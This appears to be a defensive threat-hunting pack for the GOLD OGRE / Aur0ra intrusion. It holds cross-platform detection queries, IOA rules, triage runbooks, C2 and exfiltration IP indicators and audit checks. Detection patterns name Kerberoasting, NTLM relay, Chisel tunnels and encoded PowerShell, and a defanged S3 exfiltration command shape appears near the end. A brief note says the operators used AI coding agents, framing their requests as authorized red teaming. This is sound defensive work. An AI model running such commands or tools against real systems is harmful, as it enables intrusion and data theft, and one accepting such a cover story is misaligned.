Required fields
event.time: Event timeevent.type: Event typesrc.process.name: Creator process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.user: Creator user
Readiness test
event.type = 'Process Creation' src.process.name = * | limit 5 | columns event.time, event.type, endpoint.name, src.process.name, tgt.process.cmdline
// HUNT: Cobalt Strike stager persistence: service-launched encoded PowerShell // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1543.003, T1059.001 // CONF: medium | FP: medium // FALSE POSITIVES: management agents; legacy services that launch PowerShell // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the service control manager as the creator, and a command line that wraps PowerShell in a shell or passes a stealth, encoded or hidden-window switch. The creator is src.process.* on a Process Creation event. // REQUIRES: SentinelOne process-creation telemetry with creator name and command line // TUNING: Exclude named management agents by hash or signer; keep the encoded and hidden-window variants. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A service whose payload is launched through an intermediate process is not matched, the same as the CQL tab. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and src.process.name matches '^services(\\.exe)?$' and tgt.process.cmdline matches '.*(cmd(\\.exe)?\\s+/[ck]\\s+.*powershell|powershell.*(-nop|-noni|-w\\s+hidden|-enc|-encodedcommand)).*' | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeInitiatingProcessFileName: Creator process nameProcessCommandLine: Created command line
Recommended fields
FileName: Created process name
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, InitiatingProcessFileName, FileName, ProcessCommandLine | take 5
// HUNT: Cobalt Strike stager persistence: service-launched encoded PowerShell // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1543.003, T1059.001 // CONF: medium | FP: medium // FALSE POSITIVES: management agents; legacy services that launch PowerShell // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the service control manager as the creator, and a command line that wraps PowerShell in a shell or passes a stealth, encoded or hidden-window switch. The creator is InitiatingProcessFileName. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude named management agents by hash or signer; keep the encoded and hidden-window variants. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A service whose payload is launched through an intermediate process is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where InitiatingProcessFileName matches regex @"(?i)^services(\.exe)?$" | where ProcessCommandLine matches regex @"(?i)(cmd(\.exe)?\s+/[ck]\s+.*powershell|powershell.*(-nop|-noni|-w\s+hidden|-enc|-encodedcommand))" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: The exact shape Sophos published: a binary named VeeamTransport run with --endpoint-url and an s3:// destination, port 54410 against the exfiltration server. The real Veeam transport service is a legitimate product, so the discriminator is the S3 arguments, not the name alone. FP: Medium on a Veeam server, where the genuine transport binary runs. Genuine Veeam components do not take S3 copy arguments.
Known limitations and deployment notes
- PowerQuery: A renamed S3 client that takes its endpoint from environment variables or a config file leaves no marker in the command line and is not matched, the same as the CQL tab.
- PowerQuery assumes: The CQL copy-to-S3 branch is a subset of the S3 destination substring, so the destination test is written as that substring.
- PowerQuery assumes: contains and matches are case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A renamed S3 client that takes its endpoint from environment variables or a config file leaves no marker in the command line and is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: The CQL copy-to-S3 branch is a subset of the S3 destination substring, so the destination test is written as that substring.
// HUNT: Renamed S3 client (VeeamTransport) exfiltrating with --endpoint-url // MITRE: T1567.002, T1048 // CONF: high // FP: medium // COST: low // REQUIRES: Process creation with command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: legitimate Veeam services (name only); admins using an S3 client with a custom endpoint // TUNING: exclude the genuine signed Veeam binary by hash or signer; keep any run with a cp or s3 destination #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^veeamtransport(\.exe)?$/i or CommandLine=/--endpoint-url/i | CommandLine=/(--endpoint-url|\bcp\b.*s3:\/\/|s3:\/\/)/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: Renamed S3 client (VeeamTransport) exfiltrating with --endpoint-url
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1567.002, T1048
// CONF: high | FP: medium
// FALSE POSITIVES: legitimate Veeam services (name only); admins using an S3 client with a custom endpoint
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the renamed backup-agent binary name, or a custom S3 endpoint argument, and in both cases a command line carrying an endpoint argument or an S3 destination.
// REQUIRES: SentinelOne process-creation telemetry with the command line
// TUNING: Exclude the genuine signed backup binary by hash or signer; keep any run with a copy or S3 destination.
// LOOKBACK: 7d; set in the console time picker
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A renamed S3 client that takes its endpoint from environment variables or a config file leaves no marker in the command line and is not matched, the same as the CQL tab.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' and (tgt.process.name matches '^veeamtransport(\\.exe)?$' or tgt.process.cmdline contains '--endpoint-url') and tgt.process.cmdline contains ('--endpoint-url', 's3://')
| columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: Renamed S3 client (VeeamTransport) exfiltrating with --endpoint-url // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1567.002, T1048 // CONF: high | FP: medium // FALSE POSITIVES: legitimate Veeam services (name only); admins using an S3 client with a custom endpoint // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the renamed backup-agent binary name, or a custom S3 endpoint argument, and in both cases a command line carrying an endpoint argument or an S3 destination. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude the genuine signed backup binary by hash or signer; keep any run with a copy or S3 destination. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A renamed S3 client that takes its endpoint from environment variables or a config file leaves no marker in the command line and is not matched, the same as the CQL tab. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^veeamtransport(\.exe)?$" or ProcessCommandLine contains "--endpoint-url" | where ProcessCommandLine contains "--endpoint-url" or ProcessCommandLine contains "s3://" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Any outbound connection to the seven addresses Sophos published (exfiltration server, four Cobalt Strike C2 servers, SOCKS node, open-directory server), plus any connection on port 54410, the port in the observed exfiltration command. Sophos warns that addresses can be reallocated, so verify a hit before acting on it. FP: Low for the addresses, subject to reallocation. Port 54410 alone is broader and can hit unrelated services.
Known limitations and deployment notes
- PowerQuery: The role label per address (exfiltration server, Cobalt Strike C2, SOCKS proxy node, open directory server, port only) is not computed; read it from the CQL tab.
- PowerQuery assumes: On an IP Connect event the connecting process is src.process.*.
- PowerQuery assumes: dst.ip.address is the remote address of an outbound connection.
- KQL – Defender XDR: Advanced Hunting keeps 30 days, so older connections are visible only on the CQL tab.
- KQL – Defender XDR assumes: RemoteIP is the remote address of the connection.
// HUNT: Connections to the seven published Sophos indicator addresses and to port 54410 // MITRE: T1071.001, T1090, T1567.002 // CONF: high // FP: low // COST: low // REQUIRES: Network connection telemetry (CrowdStrike: NetworkConnectIP4) // FALSE POSITIVES: reallocated addresses; unrelated services on port 54410 // TUNING: when only the port matches, confirm the destination before escalating #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4="152.236.4.14" or RemoteAddressIP4="152.236.3.8" or RemoteAddressIP4="172.86.89.124" or RemoteAddressIP4="144.172.101.72" or RemoteAddressIP4="206.223.230.107" or RemoteAddressIP4="45.59.113.63" or RemoteAddressIP4="172.86.113.245" or RemotePort=54410 | case { RemoteAddressIP4="152.236.4.14" | Role := "exfiltration server"; RemoteAddressIP4="152.236.3.8" or RemoteAddressIP4="172.86.89.124" or RemoteAddressIP4="144.172.101.72" or RemoteAddressIP4="206.223.230.107" | Role := "Cobalt Strike C2"; RemoteAddressIP4="45.59.113.63" | Role := "SOCKS proxy node"; RemoteAddressIP4="172.86.113.245" | Role := "open directory server"; * | Role := "port 54410 only" } | table([@timestamp, ComputerName, UserName, ContextBaseFileName, RemoteAddressIP4, RemotePort, Role], limit=200)
4 required fields · View requirements
Required telemetry
- IP Connect
Required fields
event.time: Event timeevent.type: Event typedst.ip.address: Destination addressdst.port.number: Destination port
Recommended fields
endpoint.name: Hostsrc.process.name: Connecting process
Readiness test
event.type = 'IP Connect' dst.ip.address = * | limit 5 | columns event.time, event.type, endpoint.name, src.process.name, dst.ip.address, dst.port.number
// HUNT: Connections to the seven published Sophos indicator addresses and to port 54410
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1071.001, T1090, T1567.002
// CONF: high | FP: low
// FALSE POSITIVES: reallocated addresses; unrelated services on port 54410
// EQUIVALENCE: equivalent-with-schema-assumptions - Same network predicate: a connection to any of the seven published addresses, or to the one published port. The CQL role label is not computed here because the language has no case construct the offline engine can check.
// REQUIRES: SentinelOne network telemetry (event type IP Connect)
// TUNING: When only the port matches, confirm the destination before escalating.
// LOOKBACK: 30d; set in the console time picker, since these are retrospective indicators
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: The role label per address (exfiltration server, Cobalt Strike C2, SOCKS proxy node, open directory server, port only) is not computed; read it from the CQL tab.
// VALIDATION LEVEL: static-reviewed
event.type = 'IP Connect' and (dst.ip.address in ('152.236.4.14', '152.236.3.8', '172.86.89.124', '144.172.101.72', '206.223.230.107', '45.59.113.63', '172.86.113.245') or dst.port.number = 54410)
| columns event.time, endpoint.name, src.process.user, src.process.name, dst.ip.address, dst.port.number
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceNetworkEvents
Required fields
Timestamp: Event timeRemoteIP: Remote addressRemotePort: Remote port
Recommended fields
InitiatingProcessFileName: Initiating processDeviceName: Device
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceNetworkEvents | where Timestamp > ago(1d) | project Timestamp, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort | take 5
// HUNT: Connections to the seven published Sophos indicator addresses and to port 54410
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1071.001, T1090, T1567.002
// CONF: high | FP: low
// FALSE POSITIVES: reallocated addresses; unrelated services on port 54410
// EQUIVALENCE: equivalent-with-schema-assumptions - Same network predicate: a connection to any of the seven published addresses, or to the one published port, with the same role label per address.
// REQUIRES: Defender for Endpoint network telemetry (DeviceNetworkEvents)
// TUNING: When only the port matches, confirm the destination before escalating.
// LOOKBACK: 30d (Advanced Hunting retention); the CQL tab covers the full retention of your Falcon tenant
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: Advanced Hunting keeps 30 days, so older connections are visible only on the CQL tab.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceNetworkEvents
| where Timestamp >= ago(30d)
| where RemoteIP in ("152.236.4.14", "152.236.3.8", "172.86.89.124", "144.172.101.72", "206.223.230.107", "45.59.113.63", "172.86.113.245") or RemotePort == 54410
| extend Role = case(RemoteIP == "152.236.4.14", "exfiltration server", RemoteIP in ("152.236.3.8", "172.86.89.124", "144.172.101.72", "206.223.230.107"), "Cobalt Strike C2", RemoteIP == "45.59.113.63", "SOCKS proxy node", RemoteIP == "172.86.113.245", "open directory server", "port 54410 only")
| project Timestamp, ReportId, DeviceId, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, RemoteIP, RemotePort, Role
| sort by Timestamp desc
| take 200Detection Rules by Platform
CrowdStrike: Custom IOA
| IOA name | Rule type | Pattern | Exclusions | Promotes | Deployment path |
|---|---|---|---|---|---|
| Kerberoasting tool or script | Process Creation | Command line matches Invoke-Kerberoast, GetUserSPNs, Request-SPNTicket or Rubeus kerberoast | Assessment hosts during an open exercise | Promote Q12 | Custom IOA, action Detect |
| NTLM coercion or relay tool | Process Creation | Image or command line matches PetitPotam, SpoolSample, PrinterBug, ntlmrelayx, krbrelayx | Assessment hosts during an open exercise | Promote Q14 | Custom IOA, action Detect |
| Chisel tunnel | Process Creation | Image chisel, or command line chisel client or server, or R:socks | Named developer accounts | Promote Q16 | Custom IOA, action Detect |
| S3 client with custom endpoint | Process Creation | Image VeeamTransport (unsigned or non-Veeam) or command line with --endpoint-url and s3:// | Genuine signed Veeam binary | Promote Q19 | Custom IOA, action Detect |
| Cyrillic-layout command words | Process Creation | Command line contains the word зы or ды as a standalone token | None needed initially | Promote Q1 (process half; console history needs the hunt query) | Custom IOA, action Detect |
Every IOA is action Detect. None is Prevent, because each matches a legitimate or dual-use tool. Alert packages for each promoted query follow.
Q12: DETECT: Kerberoasting Tool or Script (GOLD OGRE / Aur0ra)
Subject: [HIGH] DETECT: Kerberoasting Tool or Script (GOLD OGRE / Aur0ra)
A Kerberoasting tool or PowerShell script ran. Sophos lists Invoke-Kerberoast and a PowerShell Kerberoast script among tooling in this operation. This can also be an authorized assessment. Immediate actions: triage using the steps below; escalate to incident response if the activity is not on the change calendar.
- Confirm with the red team or change calendar whether an exercise is open.
- Identify the account and host; check for other discovery tools within 1 hour (Q6, Q8, Q10).
- Check Windows 4769 on domain controllers for a burst of service-ticket requests from that account.
- List service accounts with SPNs and their password age; reset any exposed account.
- If unplanned: isolate the host, disable the account, and start the containment runbook.
Pivot: host-scoped: replace REPLACE_WITH_HOSTNAME in the pivot below; environment-wide: run the Q12 query across all hosts for 30 days.
// >> FILL IN: ComputerName="REPLACE_WITH_HOSTNAME" // Host-scoped: what ran just before and after the alert #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ComputerName="REPLACE_WITH_HOSTNAME" | table([@timestamp, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=asc)
Q14: DETECT: NTLM Coercion or Relay Tool (GOLD OGRE / Aur0ra)
Subject: [HIGH] DETECT: NTLM Coercion or Relay Tool (GOLD OGRE / Aur0ra)
A coercion or relay tool ran (PetitPotam, PrinterBug, ntlmrelayx or similar). Sophos, citing Gambit, says the agents attempted relay and used an Impacket module. Immediate actions: triage using the steps below; escalate to incident response if the activity is not on the change calendar.
- Check the change calendar and assessment schedule.
- Identify the host, user and parent process.
- Check domain controllers for inbound authentication from servers that should not authenticate to this host.
- Check AD CS web enrollment for NTLM authentications (ESC8 relay path).
- If unplanned: isolate the host, rotate exposed credentials, treat as domain compromise in progress.
Pivot: host-scoped: replace REPLACE_WITH_HOSTNAME in the pivot below; environment-wide: run the Q14 query across all hosts for 30 days.
// >> FILL IN: ComputerName="REPLACE_WITH_HOSTNAME" // Host-scoped: what ran just before and after the alert #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ComputerName="REPLACE_WITH_HOSTNAME" | table([@timestamp, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=asc)
Q16: DETECT: Chisel SOCKS Tunnel (GOLD OGRE / Aur0ra)
Subject: [HIGH] DETECT: Chisel SOCKS Tunnel (GOLD OGRE / Aur0ra)
Chisel started in client or server mode. Operators supplied SOCKS access to the agents, so a tunnel inside your network is on the intrusion path. Immediate actions: triage using the steps below; escalate to incident response if the activity is not on the change calendar.
- Identify the remote end of the tunnel from the command line.
- Pull network connections for the process (Q20 variant by process).
- Check the user's recent VPN and logon history.
- Find other hosts running Chisel or SOCKS listeners.
- If unplanned: isolate and block the remote end at egress.
Pivot: host-scoped: replace REPLACE_WITH_HOSTNAME in the pivot below; environment-wide: run the Q16 query across all hosts for 30 days.
// >> FILL IN: ComputerName="REPLACE_WITH_HOSTNAME" // Host-scoped: what ran just before and after the alert #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ComputerName="REPLACE_WITH_HOSTNAME" | table([@timestamp, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=asc)
Q19: DETECT: S3 Client With Custom Endpoint (Possible Exfiltration)
Subject: [CRITICAL] DETECT: S3 Client With Custom Endpoint (Possible Exfiltration)
A binary such as VeeamTransport ran with --endpoint-url and an S3 destination. Sophos published this exact shape, with the exfiltration server on port 54410. Immediate actions: triage using the steps below; escalate to incident response if the activity is not on the change calendar.
- Capture the full command line, destination host and bucket name.
- Check whether the binary is the genuine signed Veeam component (path, signer, hash).
- Estimate volume with network connection telemetry for that process.
- Treat as active data theft: isolate the host and block the destination at egress.
- Begin breach notification assessment with legal.
Pivot: host-scoped: replace REPLACE_WITH_HOSTNAME in the pivot below; environment-wide: run the Q19 query across all hosts for 30 days.
// >> FILL IN: ComputerName="REPLACE_WITH_HOSTNAME" // Host-scoped: what ran just before and after the alert #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ComputerName="REPLACE_WITH_HOSTNAME" | table([@timestamp, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=asc)
Q1: DETECT: Cyrillic-Layout Command Typo (GOLD OGRE Operator Artifact)
Subject: [HIGH] DETECT: Cyrillic-Layout Command Typo (GOLD OGRE Operator Artifact)
A shell received зы or ды, the Russian-layout form of ps and ls that Sophos saw in operator logs. This is a high-fidelity operator-presence signal. Immediate actions: triage using the steps below; escalate to incident response if the activity is not on the change calendar.
- Identify the host, user and shell that received the command.
- Pull the full command history for that session.
- Look for the Q2, Q5, Q6 and Q19 signals on the same host.
- Check for VPN or SOCKS tunnels leading to the host.
- If unexplained: isolate the host and escalate as an active intrusion.
Pivot: host-scoped: replace REPLACE_WITH_HOSTNAME in the pivot below; environment-wide: run the Q1 query across all hosts for 30 days.
// >> FILL IN: ComputerName="REPLACE_WITH_HOSTNAME" // Host-scoped: what ran just before and after the alert #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ComputerName="REPLACE_WITH_HOSTNAME" | table([@timestamp, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=asc)
SentinelOne: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| Kerberoasting tool or script | Q12, PowerQuery tab | Hunt only until the gap is closed | Q12 is only an approximation here. The CQL searches both process-creation text and PowerShell script-scan telemetry. SentinelOne exposes the process-creation command line here, so the same marker expression runs over that only; markers that appear solely inside a script body are not seen. |
| NTLM coercion or relay tool | Q14, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device" |
| Chisel tunnel | Q16, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device" |
| S3 client with custom endpoint | Q19, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device" |
| Cyrillic-layout command words | Q1, PowerQuery tab | Hunt only until the gap is closed | Q1 is only an approximation here. Console command history is not a SentinelOne event type, so the same keyboard-layout token expression runs over the process-creation command line only. Typos typed at an interactive prompt that never launch a process are not seen. |
Create the rule with POST /web/api/v2.1/cloud-detection/rules, queryType: "scheduled" and queryLang: "2.0", with the query in data.scheduledParams.query. Use 2.0 operator spellings: a rule written with the 1.0 token ContainsCIS was accepted and never fired on a tenant. The API does not warn, so lint the body before deploying.
Microsoft Defender: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| Kerberoasting tool or script | Q12, KQL – Defender XDR tab | Hunt only until the gap is closed | Q12 is only an approximation here. The CQL searches both process-creation text and PowerShell script-scan telemetry. A hunt reads one table, so the same marker expression runs over the process-creation command line only; markers that appear solely inside a script body are not seen. |
| NTLM coercion or relay tool | Q14, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself |
| Chisel tunnel | Q16, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself |
| S3 client with custom endpoint | Q19, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself |
| Cyrillic-layout command words | Q1, KQL – Defender XDR tab | Hunt only until the gap is closed | Q1 is only an approximation here. Console command history is not a Defender table, so the same keyboard-layout token expression runs over the process-creation command line only. Typos typed at an interactive prompt that never launch a process are not seen. |
Q2, Q3, Q4, Q5, Q6, Q7, Q8, Q9, Q10, Q11, Q13, Q15, Q17, Q18 and Q20 stay a hunt in this pack, not a rule. A rule can generate only 150 alerts per run. Continuous (NRT) frequency needs a single table and no comment lines, so delete the generated comment header from the query first.
Machine-Readable IOC Appendix
Import all seven addresses as detect. They come from one source (Sophos Table 3), none is eligible for prevent, and Sophos warns they can be reallocated. The two SHA-256 rows are labelled placeholders because no hash was published: replace them from your own incident response or a vendor feed, or delete the rows.
type,value,action,severity,expiration,description,tags ipv4,152.236.4.14,detect,high,2027-05-04,Aur0ra exfiltration server (Sophos Table 3),campaign:Aur0ra ipv4,152.236.3.8,detect,high,2027-05-04,Aur0ra Cobalt Strike C2 (Sophos Table 3),campaign:Aur0ra ipv4,172.86.89.124,detect,high,2027-05-04,Aur0ra Cobalt Strike C2 (Sophos Table 3),campaign:Aur0ra ipv4,144.172.101.72,detect,high,2027-05-04,Aur0ra Cobalt Strike C2 (Sophos Table 3),campaign:Aur0ra ipv4,206.223.230.107,detect,high,2027-05-04,Aur0ra Cobalt Strike C2 (Sophos Table 3),campaign:Aur0ra ipv4,45.59.113.63,detect,high,2027-05-04,Aur0ra SOCKS proxy node (Sophos Table 3),campaign:Aur0ra ipv4,172.86.113.245,detect,medium,2027-05-04,Aur0ra open directory server (Sophos Table 3),campaign:Aur0ra sha256,REPLACE_WITH_AUR0RA_WINDOWS_SHA256,detect,high,2027-05-04,Aur0ra Windows ransomware binary (hash not published),campaign:Aur0ra sha256,REPLACE_WITH_AUR0RA_ESXI_SHA256,detect,high,2027-05-04,Aur0ra Linux ESXi-compatible binary (hash not published),campaign:Aur0ra
indicatorType,indicatorValue,action,title,description,expirationTime,severity,recommendedActions,rbacGroups,category,mitretechniques,GenerateAlert IpAddress,152.236.4.14,Audit,Aur0ra exfiltration server,Aur0ra exfiltration server (Sophos Table 3),2027-05-04T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True IpAddress,152.236.3.8,Audit,Aur0ra Cobalt Strike C2,Aur0ra Cobalt Strike C2 (Sophos Table 3),2027-05-04T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True IpAddress,172.86.89.124,Audit,Aur0ra Cobalt Strike C2,Aur0ra Cobalt Strike C2 (Sophos Table 3),2027-05-04T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True IpAddress,144.172.101.72,Audit,Aur0ra Cobalt Strike C2,Aur0ra Cobalt Strike C2 (Sophos Table 3),2027-05-04T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True IpAddress,206.223.230.107,Audit,Aur0ra Cobalt Strike C2,Aur0ra Cobalt Strike C2 (Sophos Table 3),2027-05-04T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True IpAddress,45.59.113.63,Audit,Aur0ra SOCKS proxy node,Aur0ra SOCKS proxy node (Sophos Table 3),2027-05-04T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True IpAddress,172.86.113.245,Audit,Aur0ra open directory server,Aur0ra open directory server (Sophos Table 3),2027-05-04T00:00:00.0Z,Medium,Investigate the device and pivot into the pack's queries,,,,True
Column names and allowed values are from Microsoft's documented parameter table. Left out because the value is a placeholder, defanged or not valid for its type (fix it in the pack's CSV first): placeholder 2. Check each expirationTime before importing: an indicator whose date has passed is already expired. Download the sample CSV from the Import page to confirm the column order before a bulk import. Each file takes at most 500 indicators. Learn describes the import per entity type, so if a mixed file is rejected, split it by indicatorType. An imported indicator does nothing unless the matching Advanced features are on (for example Custom network indicators and Allow or block file).
This pack does not ship a SentinelOne import block: the import format could not be verified against SentinelOne's own documentation. Export a sample from your console and the block can be added with confidence.
Operator typo artifacts (Sophos): the Russian-layout forms of ps and ls зы = ps (process enumeration) ды = ls (directory enumeration) Exfiltration command shape (Sophos, defanged in the source): VeeamTransport --endpoint-url http://<exfil-server>:54410 ... cp ... s3://<bucket>/... Parent-child shapes (heuristics from the reporting): cursor.exe or node.exe -> shell -> nltest / setspn / net group / Get-AD* services.exe -> cmd /c ... powershell -nop / -enc / -w hidden shell -> VPN client install or config on a server one process -> 50+ distinct internal hosts on 445/389/88/135/3389/5985 Prompt cover story seen in the reporting: framing as authorized red team work or "diagnostics testing" (model-side; not host-detectable)
Dual-use tooling named by Sophos. DETECT ONLY: none of these is malicious on its own. Cursor (Composer agentic model) developer software: expected on dev workstations, anomalous on servers Nmap, NetExec scanning BloodHound collector AD graph collection (SharpHound, AzureHound, bloodhound-python) SharpShares share and AD enumeration Certipy AD CS abuse and audit Chisel SOCKS tunnelling Impacket (relay module) NTLM relay PetitPotam, Coerce Plus, PrinterBug coercion Invoke-Kerberoast, PowerShell Kerberoast script Kerberoasting VeeamTransport (renamed S3 client) exfiltration; the genuine Veeam binary is legitimate Cobalt Strike C2 (named pipe, service stager persistence) Sophos countermeasure names, for reference when mapping to your own tooling: Chisel SOCKS Tunnel Usage; Enumerating All Computers via WMI; Suspicious LDAP Query - Enumerating Domain Trusts; Suspected Nmap Usage; Discovery - BloodHound; Sharp Shares Activity; NetExec Activity (process); Certipy Output File 2 (filemod); PetitPotam Process; PowerShell Kerberoast Credential Theft Script; Kerberoasting - Invoke-Kerberoast; Cobalt Strike Named Pipe (filemod); Cobalt Strike Stager Persistence (process)
# Audit checklist (read-only checks)
# 1. Servers and jump boxes with Cursor installed
Get-ChildItem "C:\Users\*\AppData\Local\Programs\cursor\Cursor.exe" -ErrorAction SilentlyContinue | Select-Object FullName, LastWriteTime
# 2. SMB signing required?
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature
# 3. LDAP signing and channel binding on a DC (0/absent = not enforced)
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" | Select-Object LDAPServerIntegrity, LdapEnforceChannelBinding
# 4. Print Spooler on domain controllers
Get-Service Spooler | Select-Object Status, StartType
# 5. User accounts with SPNs (Kerberoast exposure)
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName, PasswordLastSet, 'msDS-SupportedEncryptionTypes' | Select-Object SamAccountName, PasswordLastSet, 'msDS-SupportedEncryptionTypes'
# 6. Members of Domain Admins
Get-ADGroupMember "Domain Admins" -Recursive | Select-Object SamAccountName, objectClass
Detection Validation Gates
| Gate | Check | Pass condition |
|---|---|---|
| Telemetry ready | Confirm every source feeds the SIEM: process creation with command line and parent (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents); network connections (CrowdStrike: NetworkConnectIP4. SentinelOne: Network. Defender: DeviceNetworkEvents); DNS queries (CrowdStrike: DnsRequest); failed logons on domain controllers (CrowdStrike: UserLogonFailed2); console command history (CrowdStrike: CommandHistory) | Each source returns events for a known test host in the last hour; CommandHistory availability confirmed or recorded as a gap |
| Benign baseline | Run Q2, Q3, Q5, Q6, Q7 and Q13 over 30 days and list the hosts and accounts that match | Known developer hosts, vulnerability scanners, NAT addresses and deployment tools are on exclusion lists before any alert goes live |
| Positive tests | In a lab, type a harmless string through the Q1 pattern, run a no-op Nmap against a lab host, and run a Chisel help command; use a tagged test host | Q1, Q6 and Q16 fire on the test host with the expected fields |
| Operator-artifact check | Search 90 days of command history for the two Cyrillic tokens | Zero hits, or every hit explained |
| Promotion | Promote Q1, Q12, Q14, Q16 and Q19 to Custom IOAs as Detect only after the baseline; keep Q2 to Q5 as hunts | Two clean weeks with documented exclusions; no query promoted to Prevent |
| Honest-limits review | Read Section 15 gaps with the SOC lead | Named pipes, initial access, ransomware deployment and certificate file outputs have an owner |
Hardening and Tiered & Deployable
